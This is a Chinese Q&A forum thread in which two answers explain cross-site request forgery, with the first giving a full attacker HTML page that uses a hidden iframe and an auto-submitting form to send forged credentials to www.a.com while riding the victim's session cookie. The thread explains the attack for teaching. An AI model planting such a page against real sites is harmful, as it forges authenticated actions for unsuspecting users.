发布网友 发布时间:2022-04-25 21:50
共2个回答
热心网友 时间:2022-05-03 03:44
攻击者在“页面1”中http://www.b.com/indexb.html中写下如下代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Welcome to CSRF</title>
</head>
<p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>
<body>
<!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
<iframe hidden width=1000 heigth=100 src="#" srcdoc='
<form action="http://www.a.com/indexa.html" id="register" method="get" name="form">
<input type=text name="username" value="" />
<input type=password name="password" value="" />
</form>
<script>
var f = document.getElementById("register");
console.log(f.username.value);
f.username.value="test";
f.password.value="passwd";
//进行自动提交
document.form.submit();
</script>
'></iframe>
</body>
</html>
2、当访问”页面1“时,这段代码向http://www.a.com/indexa.html发送了一个GET请求(当然POST也可以),而且是当用户访问的时候自动提交的。由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。假如用户在访问”页面1“之前已经访问过了网站”http://www.a.com/indexa.html“同域下的其他认证页面,这时,只要浏览器没有关闭或者重启的化(关闭认证的tab页没有影响),则临时cookie(一般认证通过设置cookie的方式实现)即session
cookie会存在于内存中;在内存中的session
cookie未消失之前,访问同域下的其他页面,浏览器就会在这些页面的header中带上cookie值。通过上面这样的方式便实现了授权的CSRF。
热心网友 时间:2022-05-03 05:02
由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。临时cookie存在于内存中,浏览器关闭或者重启,释放内存,才会清空临时cookie;本地cookie存在于硬盘上,只要到期后才会消失。